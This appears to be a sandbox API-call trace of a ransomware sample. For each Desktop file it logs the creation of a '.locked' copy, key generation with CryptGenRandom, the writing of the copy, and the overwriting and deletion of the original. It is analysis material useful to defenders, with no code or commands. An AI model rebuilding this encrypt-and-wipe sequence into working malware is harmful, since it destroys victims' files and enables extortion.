	[0067.740] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5ft3t_kQuOq_IXeynI9.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5ft3t_kquoq_ixeyni9.png"), fInfoLevelId=0x0, lpFileInformation=0x123fcaf8 | out: lpFileInformation=0x123fcaf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46c6a8d0, ftCreationTime.dwHighDateTime=0x1d4cb00, ftLastAccessTime.dwLowDateTime=0x9dd3ceb0, ftLastAccessTime.dwHighDateTime=0x1d4c54b, ftLastWriteTime.dwLowDateTime=0x9dd3ceb0, ftLastWriteTime.dwHighDateTime=0x1d4c54b, nFileSizeHigh=0x0, nFileSizeLow=0x17e19)) returned 1
	[0067.740] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5ft3t_kQuOq_IXeynI9.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5ft3t_kquoq_ixeyni9.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0067.740] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0067.748] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5ft3t_kQuOq_IXeynI9.png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5ft3t_kquoq_ixeyni9.png.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0067.749] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0067.750] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c580 | out: pbBuffer=0x1238c580) returned 1
	[0067.750] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127963e0 | out: pbBuffer=0x127963e0) returned 1
	[0067.750] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc301 | out: pbBuffer=0x123bc301) returned 1
	[0067.750] WriteFile (in: hFile=0xc4, lpBuffer=0x1250b000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x1250b000*, lpNumberOfBytesWritten=0x127eebec*=0x80, lpOverlapped=0x0) returned 1
	[0067.752] SetEvent (hEvent=0x78) returned 1
	[0067.752] ReadFile (in: hFile=0xc0, lpBuffer=0x12c50000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesRead=0x127eebdc*=0x17e19, lpOverlapped=0x0) returned 1
	[0067.755] WriteFile (in: hFile=0xc4, lpBuffer=0x12c50000*, nNumberOfBytesToWrite=0x17e19, lpNumberOfBytesWritten=0x127eebe8, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesWritten=0x127eebe8*=0x17e19, lpOverlapped=0x0) returned 1
	[0067.756] ReadFile (in: hFile=0xc0, lpBuffer=0x12c50000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesRead=0x127eebdc*=0x0, lpOverlapped=0x0) returned 1
	[0067.757] CloseHandle (hObject=0xc4) returned 1
	[0067.761] CloseHandle (hObject=0xc0) returned 1
	[0067.761] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1263e000*, nNumberOfCharsToWrite=0x42, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x1263e000*, lpNumberOfCharsWritten=0x127ee8a0*=0x42) returned 1
	[0067.763] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.764] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5ft3t_kQuOq_IXeynI9.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5ft3t_kquoq_ixeyni9.png")) returned 1
	[0067.785] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0067.785] SetEvent (hEvent=0xa8) returned 1
	[0067.785] SetEvent (hEvent=0x78) returned 1
	[0067.796] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0067.796] SetEvent (hEvent=0x78) returned 1
	[0067.796] SetEvent (hEvent=0x80) returned 1
	[0067.796] SetEvent (hEvent=0xb4) returned 1
	[0067.796] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.797] SetEvent (hEvent=0xb4) returned 1
	[0067.798] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0067.798] SetEvent (hEvent=0xb4) returned 1
	[0067.799] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0067.799] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0067.799] SetEvent (hEvent=0xb4) returned 1
	[0067.799] SetEvent (hEvent=0x80) returned 1
	[0067.799] SetEvent (hEvent=0x78) returned 1
	[0067.799] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.800] SetEvent (hEvent=0x78) returned 1
	[0067.800] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5ft3t_kQuOq_IXeynI9.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5ft3t_kquoq_ixeyni9.png"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0067.803] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eecfc | out: lpMode=0x127eecfc) returned 0
	[0067.803] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eecec, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eecec*=0xfa000, lpOverlapped=0x0) returned 1
	[0067.820] CloseHandle (hObject=0xc0) returned 1
	[0067.830] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5ft3t_kQuOq_IXeynI9.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5ft3t_kquoq_ixeyni9.png")) returned 1
	[0067.840] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6gWXxuRsXBQ.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\6gwxxursxbq.doc"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb075790, ftCreationTime.dwHighDateTime=0x1d4c762, ftLastAccessTime.dwLowDateTime=0xb5703140, ftLastAccessTime.dwHighDateTime=0x1d4d08a, ftLastWriteTime.dwLowDateTime=0xb5703140, ftLastWriteTime.dwHighDateTime=0x1d4d08a, nFileSizeHigh=0x0, nFileSizeLow=0x13b44)) returned 1
	[0067.840] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6gWXxuRsXBQ.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\6gwxxursxbq.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0067.840] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0067.841] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6gWXxuRsXBQ.doc.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\6gwxxursxbq.doc.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0067.841] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0067.842] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c360 | out: pbBuffer=0x1238c360) returned 1
	[0067.842] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8120 | out: pbBuffer=0x127a8120) returned 1
	[0067.842] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc201 | out: pbBuffer=0x123bc201) returned 1
	[0067.842] WriteFile (in: hFile=0xc4, lpBuffer=0x12507000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x12507000*, lpNumberOfBytesWritten=0x127eebec*=0x80, lpOverlapped=0x0) returned 1
	[0067.844] SetEvent (hEvent=0x80) returned 1
	[0067.844] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x13b44, lpOverlapped=0x0) returned 1
	[0067.847] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x13b44, lpNumberOfBytesWritten=0x127eebe8, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eebe8*=0x13b44, lpOverlapped=0x0) returned 1
	[0067.848] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x0, lpOverlapped=0x0) returned 1
	[0067.848] CloseHandle (hObject=0xc4) returned 1
	[0067.850] CloseHandle (hObject=0xc0) returned 1
	[0067.850] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0067.851] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.851] SetEvent (hEvent=0x80) returned 1
	[0067.851] SetEvent (hEvent=0x78) returned 1
	[0067.851] SetEvent (hEvent=0xb4) returned 1
	[0067.851] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.851] SetEvent (hEvent=0xa8) returned 1
	[0067.851] SetEvent (hEvent=0xb4) returned 1
	[0067.852] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123bc080*, nNumberOfCharsToWrite=0x3a, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x123bc080*, lpNumberOfCharsWritten=0x127ee8a0*=0x3a) returned 1
	[0067.853] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6gWXxuRsXBQ.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\6gwxxursxbq.doc")) returned 1
	[0067.872] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0067.873] SetEvent (hEvent=0xa8) returned 1
	[0067.873] SetEvent (hEvent=0x78) returned 1
	[0067.877] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0067.877] SetEvent (hEvent=0x78) returned 1
	[0067.877] SetEvent (hEvent=0xb4) returned 1
	[0067.877] SetEvent (hEvent=0x80) returned 1
	[0067.877] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.878] SetEvent (hEvent=0x80) returned 1
	[0067.879] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0067.879] SetEvent (hEvent=0x80) returned 1
	[0067.880] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0067.880] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0067.880] SetEvent (hEvent=0x80) returned 1
	[0067.880] SetEvent (hEvent=0xb4) returned 1
	[0067.880] SetEvent (hEvent=0x78) returned 1
	[0067.880] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.881] SetEvent (hEvent=0x78) returned 1
	[0067.881] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6gWXxuRsXBQ.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\6gwxxursxbq.doc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0067.882] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eecfc | out: lpMode=0x127eecfc) returned 0
	[0067.882] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eecec, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eecec*=0xfa000, lpOverlapped=0x0) returned 1
	[0067.905] CloseHandle (hObject=0xc0) returned 1
	[0067.915] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6gWXxuRsXBQ.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\6gwxxursxbq.doc")) returned 1
	[0067.924] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8CXwFq.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\8cxwfq.mkv"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b37cd50, ftCreationTime.dwHighDateTime=0x1d4cb6f, ftLastAccessTime.dwLowDateTime=0xba497440, ftLastAccessTime.dwHighDateTime=0x1d4c7ae, ftLastWriteTime.dwLowDateTime=0xba497440, ftLastWriteTime.dwHighDateTime=0x1d4c7ae, nFileSizeHigh=0x0, nFileSizeLow=0x14949)) returned 1
	[0067.925] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8CXwFq.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\8cxwfq.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0067.925] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0067.925] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8CXwFq.mkv.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\8cxwfq.mkv.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0067.926] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0067.926] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c360 | out: pbBuffer=0x1238c360) returned 1
	[0067.926] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8120 | out: pbBuffer=0x127a8120) returned 1
	[0067.926] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc081 | out: pbBuffer=0x123bc081) returned 1
	[0067.926] WriteFile (in: hFile=0xc4, lpBuffer=0x12509000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x12509000*, lpNumberOfBytesWritten=0x127eebec*=0x80, lpOverlapped=0x0) returned 1
	[0067.928] SetEvent (hEvent=0xb4) returned 1
	[0067.929] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x14949, lpOverlapped=0x0) returned 1
	[0067.931] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x14949, lpNumberOfBytesWritten=0x127eebe8, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eebe8*=0x14949, lpOverlapped=0x0) returned 1
	[0067.932] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x0, lpOverlapped=0x0) returned 1
	[0067.932] CloseHandle (hObject=0xc4) returned 1
	[0067.934] CloseHandle (hObject=0xc0) returned 1
	[0067.934] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0067.935] SetEvent (hEvent=0xb4) returned 1
	[0067.935] SetEvent (hEvent=0x78) returned 1
	[0067.935] SetEvent (hEvent=0x80) returned 1
	[0067.935] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.935] SetEvent (hEvent=0xa8) returned 1
	[0067.935] SetEvent (hEvent=0x80) returned 1
	[0067.935] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12390070*, nNumberOfCharsToWrite=0x35, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x12390070*, lpNumberOfCharsWritten=0x127ee8a0*=0x35) returned 1
	[0067.937] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8CXwFq.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\8cxwfq.mkv")) returned 1
	[0067.955] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0067.956] SetEvent (hEvent=0xa8) returned 1
	[0067.956] SetEvent (hEvent=0x78) returned 1
	[0067.960] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0067.960] SetEvent (hEvent=0x78) returned 1
	[0067.960] SetEvent (hEvent=0x80) returned 1
	[0067.960] SetEvent (hEvent=0xb4) returned 1
	[0067.960] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.961] SetEvent (hEvent=0xb4) returned 1
	[0067.962] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0067.963] SetEvent (hEvent=0xb4) returned 1
	[0067.963] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0067.963] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0067.963] SetEvent (hEvent=0xb4) returned 1
	[0067.963] SetEvent (hEvent=0x80) returned 1
	[0067.963] SetEvent (hEvent=0x78) returned 1
	[0067.963] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.964] SetEvent (hEvent=0x78) returned 1
	[0067.964] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8CXwFq.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\8cxwfq.mkv"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0067.965] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eecfc | out: lpMode=0x127eecfc) returned 0
	[0067.965] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eecec, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eecec*=0xfa000, lpOverlapped=0x0) returned 1
	[0067.981] CloseHandle (hObject=0xc0) returned 1
	[0067.990] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8CXwFq.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\8cxwfq.mkv")) returned 1
	[0067.999] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8XtLG.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\8xtlg.m4a"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfaddc0, ftCreationTime.dwHighDateTime=0x1d4c6b3, ftLastAccessTime.dwLowDateTime=0x1f147610, ftLastAccessTime.dwHighDateTime=0x1d4d3ab, ftLastWriteTime.dwLowDateTime=0x1f147610, ftLastWriteTime.dwHighDateTime=0x1d4d3ab, nFileSizeHigh=0x0, nFileSizeLow=0x9c3c)) returned 1
	[0067.999] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9AXR_x8XIa3ydKIE.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9axr_x8xia3ydkie.ppt"), fInfoLevelId=0x0, lpFileInformation=0x123fc198 | out: lpFileInformation=0x123fc198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c5249d0, ftCreationTime.dwHighDateTime=0x1d4caed, ftLastAccessTime.dwLowDateTime=0xb85d4460, ftLastAccessTime.dwHighDateTime=0x1d4c79d, ftLastWriteTime.dwLowDateTime=0xb85d4460, ftLastWriteTime.dwHighDateTime=0x1d4c79d, nFileSizeHigh=0x0, nFileSizeLow=0x8b13)) returned 1
	[0067.999] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9AXR_x8XIa3ydKIE.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9axr_x8xia3ydkie.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0067.999] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0068.000] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9AXR_x8XIa3ydKIE.ppt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9axr_x8xia3ydkie.ppt.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0068.001] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0068.001] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c4c0 | out: pbBuffer=0x1238c4c0) returned 1
	[0068.001] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8220 | out: pbBuffer=0x127a8220) returned 1
	[0068.001] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc181 | out: pbBuffer=0x123bc181) returned 1
	[0068.001] WriteFile (in: hFile=0xc4, lpBuffer=0x12509000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x12509000*, lpNumberOfBytesWritten=0x127eebec*=0x80, lpOverlapped=0x0) returned 1
	[0068.003] SetEvent (hEvent=0x80) returned 1
	[0068.003] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x8b13, lpOverlapped=0x0) returned 1
	[0068.005] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x8b13, lpNumberOfBytesWritten=0x127eebe8, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eebe8*=0x8b13, lpOverlapped=0x0) returned 1
	[0068.006] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x0, lpOverlapped=0x0) returned 1
	[0068.006] CloseHandle (hObject=0xc4) returned 1
	[0068.007] CloseHandle (hObject=0xc0) returned 1
	[0068.007] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0068.008] SetEvent (hEvent=0x80) returned 1
	[0068.008] SetEvent (hEvent=0x78) returned 1
	[0068.008] SetEvent (hEvent=0xb4) returned 1
	[0068.008] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0068.008] SetEvent (hEvent=0xa8) returned 1
	[0068.008] SetEvent (hEvent=0xb4) returned 1
	[0068.008] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123bc080*, nNumberOfCharsToWrite=0x3f, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x123bc080*, lpNumberOfCharsWritten=0x127ee8a0*=0x3f) returned 1
	[0068.010] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9AXR_x8XIa3ydKIE.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9axr_x8xia3ydkie.ppt")) returned 1
	[0068.028] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0068.029] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0068.029] SetEvent (hEvent=0xa8) returned 1
	[0068.029] SetEvent (hEvent=0x78) returned 1
	[0068.033] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0068.033] SetEvent (hEvent=0x78) returned 1
	[0068.033] SetEvent (hEvent=0xb4) returned 1
	[0068.033] SetEvent (hEvent=0x80) returned 1
	[0068.033] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0068.034] SetEvent (hEvent=0x80) returned 1
	[0068.035] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0068.036] SetEvent (hEvent=0x80) returned 1
	[0068.036] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0068.036] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0068.036] SetEvent (hEvent=0x80) returned 1
	[0068.036] SetEvent (hEvent=0xb4) returned 1
	[0068.036] SetEvent (hEvent=0x78) returned 1
	[0068.036] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0068.037] SetEvent (hEvent=0x78) returned 1
	[0068.037] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9AXR_x8XIa3ydKIE.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9axr_x8xia3ydkie.ppt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0068.038] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eecfc | out: lpMode=0x127eecfc) returned 0
	[0068.038] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eecec, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eecec*=0xfa000, lpOverlapped=0x0) returned 1
	[0068.054] CloseHandle (hObject=0xc0) returned 1
	[0068.062] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9AXR_x8XIa3ydKIE.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9axr_x8xia3ydkie.ppt")) returned 1
